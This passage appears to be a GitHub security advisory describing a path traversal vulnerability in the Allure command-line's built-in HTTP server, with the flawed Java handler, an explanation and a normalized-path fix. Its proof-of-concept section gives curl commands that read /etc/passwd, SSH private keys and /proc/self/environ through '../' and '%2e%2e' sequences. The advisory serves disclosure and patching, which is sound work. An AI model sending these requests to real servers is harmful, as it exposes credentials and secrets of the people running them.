+ "details": "## Summary\n\nThe built-in HTTP server started by `allure serve` and `allure open` is vulnerable to path traversal. The server resolves request URI paths directly against the report directory without normalizing or validating that the resolved path stays within the report directory. An attacker who can reach the server can read any file accessible to the Allure process by sending a request containing `../` sequences.\n\n## Details\n\nWhen `allure serve` or `allure open` is executed, `Commands.setUpServer()` creates an HTTP server with a handler that serves files from the report directory:\n\n**`allure-commandline/src/main/java/io/qameta/allure/Commands.java:325-339`**\n```java\nprotected HttpServer setUpServer(final String host, final int port, final Path reportDirectory) throws IOException {\n final HttpServer server = HttpServer\n .create(new InetSocketAddress(Objects.isNull(host) ? \"localhost\" : host, port), 0);\n\n server.createContext(\"/\", exchange -> {\n final Path resolve = reportDirectory.resolve(\".\" + exchange.getRequestURI().getPath()); // line 330\n if (Files.isDirectory(resolve)) {\n serveFile(exchange, resolve.resolve(\"index.html\"));\n } else {\n serveFile(exchange, resolve);\n }\n });\n\n return server;\n}\n```\n\nOn line 330, the handler constructs a file path by concatenating `\".\"` with the raw request URI path and resolving it against `reportDirectory`. For a request to `/../../../etc/passwd`:\n\n1. `exchange.getRequestURI().getPath()` returns `\"/../../../etc/passwd\"`\n2. String concatenation produces `\"./../../../etc/passwd\"`\n3. `reportDirectory.resolve(\"./../../../etc/passwd\")` resolves to e.g. `/tmp/allure-report/./../../../etc/passwd`\n4. The OS resolves this to `/etc/passwd`\n\nThere is no call to `.normalize()` followed by a `.startsWith(reportDirectory)` containment check. The `serveFile()` method (line 341) reads and returns any regular file without further validation.\n\nAdditionally, `URI.getPath()` returns the percent-decoded path, so `%2e%2e` is decoded to `..`, enabling traversal via `/%2e%2e/%2e%2e/etc/passwd` which bypasses clients that normalize `..` in raw form.\n\nThe server defaults to binding on `localhost` (line 327), which limits remote exploitation. However, the `--host` option allows users to bind to any interface (e.g., `--host 0.0.0.0`), which is commonly used in CI/CD and containerized environments. Even when bound to localhost, the vulnerability is exploitable by:\n- Other local users on shared/multi-tenant systems\n- DNS rebinding attacks from malicious web pages visited by the user\n- Adjacent containers in CI/CD environments that share a network namespace\n\n## PoC\n\n**Step 1:** Start the Allure server (simulating a typical CI/CD scenario with network binding):\n```bash\nallure serve ./test-results --host 0.0.0.0 --port 9090\n```\n\n**Step 2:** Read `/etc/passwd` via path traversal:\n```bash\ncurl --path-as-is 'http://localhost:9090/../../../etc/passwd'\n```\n\n**Step 3:** Alternative using percent-encoded traversal (works even with clients that normalize `..`):\n```bash\ncurl 'http://localhost:9090/%2e%2e/%2e%2e/%2e%2e/etc/passwd'\n```\n\n**Step 4:** Read sensitive application files (e.g., environment variables, SSH keys):\n```bash\ncurl --path-as-is 'http://localhost:9090/../../../home/user/.ssh/id_rsa'\ncurl --path-as-is 'http://localhost:9090/../../../proc/self/environ'\n```\n\nEach command returns the full contents of the requested file if readable by the Allure process.\n\n## Impact\n\nAn attacker who can reach the Allure HTTP server can read any file on the system that the Allure process has permissions to access. This includes:\n\n- **System credentials:** `/etc/shadow` (if running as root), SSH private keys, cloud provider credentials\n- **Application secrets:** Environment variables via `/proc/self/environ`, configuration files, API keys\n- **Source code and data:** Any file on the filesystem accessible to the running user\n\nIn CI/CD environments where Allure is commonly used, this could expose build secrets, deployment credentials, and other sensitive CI/CD artifacts. The lack of authentication means any client that can reach the server's port can exploit this vulnerability.\n\n## Recommended Fix\n\nNormalize the resolved path and verify it remains within the report directory before serving:\n\n```java\nserver.createContext(\"/\", exchange -> {\n final Path resolve = reportDirectory.resolve(\".\" + exchange.getRequestURI().getPath()).normalize();\n if (!resolve.startsWith(reportDirectory.normalize())) {\n exchange.sendResponseHeaders(403, 0);\n exchange.getResponseBody().close();\n return;\n }\n if (Files.isDirectory(resolve)) {\n serveFile(exchange, resolve.resolve(\"index.html\"));\n } else {\n serveFile(exchange, resolve);\n }\n});\n```\n\nThe `.normalize()` call collapses `..` sequences, and the `.startsWith()` check ensures the resolved path is still within the report directory. Requests attempting traversal receive a 403 Forbidden response.",
![github-actions[bot]](https://avatars.githubusercontent.com/in/15368?v=4&size=40){kind=avatar}
0 commit comments